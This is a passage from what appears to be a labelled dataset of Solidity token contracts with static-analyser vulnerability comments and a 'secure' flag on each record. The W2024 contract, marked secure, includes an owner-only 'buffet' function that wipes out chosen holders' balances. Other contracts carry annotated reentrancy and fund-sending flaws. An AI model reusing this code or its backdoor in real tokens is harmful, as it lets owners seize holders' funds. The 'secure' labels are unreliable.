for maxHoldLimit = _amount * 1e18 \n\t// Recommendation for a081dd7: Emit an event for critical parameter changes.\n function setMaxHoldLimit(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: a081dd7\n maxHoldLimit = _amount * 1e18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 282b0b0): RUMP.setMaxTxnLimit(uint256) should emit an event for maxTxnLimit = _amount * 1e18 \n\t// Recommendation for 282b0b0: Emit an event for critical parameter changes.\n function setMaxTxnLimit(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 282b0b0\n maxTxnLimit = _amount * 1e18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f2130fc): RUMP.setFeesPercent(uint256) should emit an event for feeOnBuy = _fee feeOnSell = _fee \n\t// Recommendation for f2130fc: Emit an event for critical parameter changes.\n function setFeesPercent(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: f2130fc\n feeOnBuy = _fee;\n\n\t\t// events-maths | ID: f2130fc\n feeOnSell = _fee;\n }\n\n function setSwapAndLiquifyEnabled(bool _value) public onlyOwner {\n swapAndLiquifyEnabled = _value;\n }\n\n function enableOrDisableFees(bool _value) external onlyOwner {\n feesStatus = _value;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b00e6bd): RUMP.updateTreasuryAddress(address)._treasury lacks a zerocheck on \t treasury = _treasury\n\t// Recommendation for b00e6bd: Check that the address is not zero.\n function updateTreasuryAddress(address _treasury) external onlyOwner {\n\t\t// missing-zero-check | ID: b00e6bd\n treasury = _treasury;\n\n excludeWallet(_treasury);\n }\n\n function excludeWallet(address wallet) internal {\n isExcludedFromFee[wallet] = true;\n\n isExcludedFromMaxTxn[wallet] = true;\n\n isExcludedFromMaxHolding[wallet] = true;\n }\n\n function limitBreak() public onlyOwner {\n require(!limitsRemoved, \": already removed\");\n\n limitsRemoved = true;\n\n maxHoldLimit = _totalSupply;\n\n maxTxnLimit = _totalSupply;\n }\n\n function enableTrading(bool shouldLimitBreak) external onlyOwner {\n require(!tradingActive, \": already enabled\");\n\n if (shouldLimitBreak) {\n limitBreak();\n }\n\n tradingActive = true;\n\n feesStatus = true;\n\n swapAndLiquifyEnabled = true;\n\n launchedAt = block.timestamp;\n }\n\n function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {\n return (amount * feeOnBuy) / (percentDivider);\n }\n\n function totalSellFeePerTx(uint256 amount) public view returns (uint256) {\n return (amount * feeOnSell) / (percentDivider);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4b20a7): RUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e4b20a7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \" approve from the zero address\");\n\n require(spender != address(0), \"approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2f0548a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d1d8b37\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f902dc0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f902dc0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc3426f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc3426f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"transfer from the zero address\");\n\n require(to != address(0), \"transfer to the zero address\");\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {\n require(amount <= maxTxnLimit, \" max txn limit exceeds\");\n\n if (!tradingActive) {\n require(\n dexPair != from && dexPair != to,\n \": tradingActive is disabled\"\n );\n }\n }\n\n if (!isExcludedFromMaxHolding[to]) {\n require(\n (balanceOf(to) + amount) <= maxHoldLimit,\n \": max hold limit exceeded\"\n );\n }\n\n\t\t// reentrancy-events | ID: f902dc0\n\t\t// reentrancy-eth | ID: fc3426f\n swapAndLiquify(from, to);\n\n bool takeFee = true;\n\n if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {\n takeFee = false;\n }\n\n\t\t// reentrancy-events | ID: f902dc0\n\t\t// reentrancy-eth | ID: fc3426f\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (dexPair == sender && takeFee) {\n uint256 allFee = totalBuyFeePerTx(amount);\n\n uint256 tTransferAmount = amount - allFee;\n\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[sender] = _balances[sender] - amount;\n\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[recipient] = _balances[recipient] + tTransferAmount;\n\n\t\t\t// reentrancy-events | ID: f902dc0\n emit Transfer(sender, recipient, tTransferAmount);\n\n takeTokenFee(sender, allFee);\n } else if (dexPair == recipient && takeFee) {\n uint256 allFee = totalSellFeePerTx(amount);\n\n uint256 tTransferAmount = amount - allFee;\n\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[sender] = _balances[sender] - amount;\n\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[recipient] = _balances[recipient] + tTransferAmount;\n\n\t\t\t// reentrancy-events | ID: f902dc0\n emit Transfer(sender, recipient, tTransferAmount);\n\n takeTokenFee(sender, allFee);\n } else {\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[sender] = _balances[sender] - amount;\n\n\t\t\t// reentrancy-eth | ID: fc3426f\n _balances[recipient] = _balances[recipient] + (amount);\n\n\t\t\t// reentrancy-events | ID: f902dc0\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function takeTokenFee(address sender, uint256 amount) private {\n\t\t// reentrancy-eth | ID: fc3426f\n _balances[address(this)] = _balances[address(this)] + (amount);\n\n\t\t// reentrancy-events | ID: f902dc0\n emit Transfer(sender, address(this), amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bf258d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bf258d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n _approve(address(this), address(dexRouter), contractBalance);\n\n\t\t// reentrancy-events | ID: f902dc0\n\t\t// reentrancy-events | ID: d1d8b37\n\t\t// reentrancy-events | ID: bf258d7\n\t\t// reentrancy-benign | ID: 2f0548a\n\t\t// reentrancy-eth | ID: fc3426f\n Utils.swapTokensForEth(address(dexRouter), contractBalance);\n\n uint256 ethForTreasury = address(this).balance;\n\n if (ethForTreasury > 0) {\n\t\t\t// reentrancy-events | ID: f902dc0\n\t\t\t// reentrancy-events | ID: d1d8b37\n\t\t\t// reentrancy-events | ID: bf258d7\n\t\t\t// reentrancy-eth | ID: fc3426f\n payable(treasury).transfer(ethForTreasury);\n }\n\n\t\t// reentrancy-events | ID: bf258d7\n emit SwapBack(contractBalance);\n }\n\n function swapAndLiquify(address from, address to) private {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool shouldSell = contractTokenBalance >= minTokenToSwap;\n\n if (\n shouldSell &&\n from != dexPair &&\n swapAndLiquifyEnabled &&\n !(from == address(this) && to == dexPair)\n ) {\n swapBack();\n }\n }\n\n function manualUnclog() external {\n if (swapAndLiquifyEnabled) {\n swapBack();\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 38036e7): RUMP.rescueEth() sends eth to arbitrary user Dangerous calls address(treasury).transfer(address(this).balance)\n\t// Recommendation for 38036e7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function rescueEth() external {\n require(address(this).balance > 0, \"Invalid Amount\");\n\n\t\t// arbitrary-send-eth | ID: 38036e7\n payable(treasury).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 149803c): RUMP.rescueToken(IERC20) ignores return value by _token.transfer(treasury,_token.balanceOf(address(this)))\n\t// Recommendation for 149803c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueToken(IERC20 _token) external {\n require(_token.balanceOf(address(this)) > 0, \"Invalid Amount\");\n\n\t\t// unchecked-transfer | ID: 149803c\n _token.transfer(treasury, _token.balanceOf(address(this)));\n }\n}",
"file_name": "solidity_code_3913.sol",
"secure": 0,
"size_bytes": 18718
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IDexRouter.sol\" as IDexRouter;\n\nlibrary Utils {\n function swapTokensForEth(\n address routerAddress,\n uint256 tokenAmount\n ) internal {\n IDexRouter dexRouter = IDexRouter(routerAddress);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n\t\t// reentrancy-events | ID: f902dc0\n\t\t// reentrancy-events | ID: d1d8b37\n\t\t// reentrancy-benign | ID: 2f0548a\n\t\t// reentrancy-eth | ID: fc3426f\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp + 300\n );\n }\n}",
"file_name": "solidity_code_3914.sol",
"secure": 1,
"size_bytes": 787
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract W2024 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable bear;\n\n constructor() {\n _name = \"2024\";\n\n _symbol = \"2024\";\n\n _decimals = 18;\n\n uint256 initialSupply = 240000000;\n\n bear = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == bear, \"Not allowed\");\n\n _;\n }\n\n function buffet(address[] memory banquet) public onlyOwner {\n for (uint256 i = 0; i < banquet.length; i++) {\n address account = banquet[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3915.sol",
"secure": 1,
"size_bytes": 4345
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SLINK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private _purchasedAt;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 62b8be8): SLINK._marketingWallet should be immutable \n\t// Recommendation for 62b8be8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n uint256 private _lastSwap = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 3a3200c): SLINK._noSecondSwap should be constant \n\t// Recommendation for 3a3200c: Add the 'constant' attribute to state variables that never change.\n bool private _noSecondSwap = false;\n\t// WARNING Optimization Issue (constable-states | ID: 7941800): SLINK._buyTax1 should be constant \n\t// Recommendation for 7941800: Add the 'constant' attribute to state variables that never change.\n uint256 private _buyTax1 = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 977812f): SLINK._sellTax1 should be constant \n\t// Recommendation for 977812f: Add the 'constant' attribute to state variables that never change.\n uint256 private _sellTax1 = 0;\n\t// WARNING Optimization Issue (constable-states | ID: c30b78a): SLINK._buyTax2 should be constant \n\t// Recommendation for c30b78a: Add the 'constant' attribute to state variables that never change.\n uint256 private _buyTax2 = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 64206ed): SLINK._sellTax2 should be constant \n\t// Recommendation for 64206ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _sellTax2 = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8c94359): SLINK._reduceBuyTaxAt should be constant \n\t// Recommendation for 8c94359: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: a81fd3f): SLINK._reduceSellTaxAt should be constant \n\t// Recommendation for a81fd3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 9c805e9): SLINK._noSwapUntil should be constant \n\t// Recommendation for 9c805e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _noSwapUntil = 10;\n uint256 private _buyCount = 0;\n uint8 private constant _decimals = 8;\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Slink\";\n string private constant _symbol = unicode\"SLINK\";\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 765319e): SLINK._taxSwapThreshold should be constant \n\t// Recommendation for 765319e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 13e821d): SLINK._maxTaxSwap should be constant \n\t// Recommendation for 13e821d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n IUniswapV2Router02 private _router;\n address private _pair;\n bool private _tradingOpen;\n bool private _inSwap = false;\n bool private _swapAllowed = false;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n _inSwap = true;\n _;\n _inSwap = false;\n }\n constructor() {\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _totalSupply;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n function name() public pure returns (string memory) {\n return _name;\n }\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5b4d37): SLINK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5b4d37: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c40aef6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c40aef6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 67ba663): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 67ba663: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c40aef6\n\t\t// reentrancy-benign | ID: 67ba663\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: c40aef6\n\t\t// reentrancy-benign | ID: 67ba663\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aca3103): SLINK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aca3103: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 67ba663\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c40aef6\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 129d421): SLINK._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _purchasedAt[from] == block.timestamp || _purchasedAt[from] == 0\n\t// Recommendation for 129d421: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: da7b446): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for da7b446: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0b7c656): SLINK._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 0b7c656: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fa265dd): SLINK._transfer(address,address,uint256) uses a dangerous strict equality _noSecondSwap && _lastSwap == block.number\n\t// Recommendation for fa265dd: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9d3d1be): SLINK._transfer(address,address,uint256) uses a dangerous strict equality _purchasedAt[from] == block.timestamp || _purchasedAt[from] == 0\n\t// Recommendation for 9d3d1be: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f48fd62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f48fd62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n bool shouldSwap = true;\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul((_tradingOpen) ? 0 : _buyTax1).div(100);\n if (transferDelayEnabled) {\n if (to != address(_router) && to != address(_pair)) {\n\t\t\t\t\t// tx-origin | ID: 0b7c656\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == _pair &&\n to != address(_router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _noSwapUntil) {\n require(!isContract(to));\n }\n _buyCount++;\n _purchasedAt[to] = block.timestamp;\n taxAmount = amount\n .mul((_buyCount > _reduceBuyTaxAt) ? _buyTax2 : _buyTax1)\n .div(100);\n }\n if (to == _pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul((_buyCount > _reduceSellTaxAt) ? _sellTax2 : _sellTax1)\n .div(100);\n if (\n\t\t\t\t\t// timestamp | ID: 129d421\n\t\t\t\t\t// incorrect-equality | ID: 9d3d1be\n _purchasedAt[from] == block.timestamp ||\n _purchasedAt[from] == 0\n ) {\n shouldSwap = false;\n }\n\t\t\t\t// incorrect-equality | ID: fa265dd\n if (_noSecondSwap && _lastSwap == block.number) {\n shouldSwap = false;\n }\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !_inSwap &&\n to == _pair &&\n _swapAllowed &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _noSwapUntil &&\n shouldSwap\n ) {\n\t\t\t\t// reentrancy-events | ID: da7b446\n\t\t\t\t// reentrancy-eth | ID: f48fd62\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: da7b446\n\t\t\t\t\t// reentrancy-eth | ID: f48fd62\n sendETHToFee(address(this).balance);\n\t\t\t\t\t// reentrancy-eth | ID: f48fd62\n _lastSwap = block.number;\n }\n }\n }\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f48fd62\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: da7b446\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: f48fd62\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: f48fd62\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: da7b446\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!_tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n _approve(address(this), address(_router), tokenAmount);\n\t\t// reentrancy-events | ID: da7b446\n\t\t// reentrancy-events | ID: c40aef6\n\t\t// reentrancy-benign | ID: 67ba663\n\t\t// reentrancy-eth | ID: f48fd62\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n _maxWalletSize = _totalSupply;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_totalSupply);\n }\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 35069bf): SLINK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 35069bf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: da7b446\n\t\t// reentrancy-events | ID: c40aef6\n\t\t// reentrancy-eth | ID: f48fd62\n\t\t// arbitrary-send-eth | ID: 35069bf\n _marketingWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b97da08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b97da08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3aa538): SLINK.openTrading() ignores return value by IERC20(_pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for f3aa538: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24dbeea): SLINK.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 24dbeea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e269a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e269a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!_tradingOpen, \"trading is already open\");\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(_router), _totalSupply);\n IUniswapV2Factory factory = IUniswapV2Factory(_router.factory());\n _pair = factory.getPair(address(this), _router.WETH());\n if (_pair == address(0x0)) {\n\t\t\t// reentrancy-benign | ID: b97da08\n\t\t\t// reentrancy-eth | ID: 4e269a7\n _pair = factory.createPair(address(this), _router.WETH());\n }\n\t\t// reentrancy-benign | ID: b97da08\n\t\t// unused-return | ID: 24dbeea\n\t\t// reentrancy-eth | ID: 4e269a7\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: b97da08\n\t\t// unused-return | ID: f3aa538\n\t\t// reentrancy-eth | ID: 4e269a7\n IERC20(_pair).approve(address(_router), type(uint256).max);\n\t\t// reentrancy-benign | ID: b97da08\n _swapAllowed = true;\n\t\t// reentrancy-eth | ID: 4e269a7\n _tradingOpen = true;\n }\n receive() external payable {}\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n function manualSwap() external {\n require(_msgSender() == _marketingWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3916.sol",
"secure": 0,
"size_bytes": 19116
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n}",
"file_name": "solidity_code_3917.sol",
"secure": 1,
"size_bytes": 345
} |
{
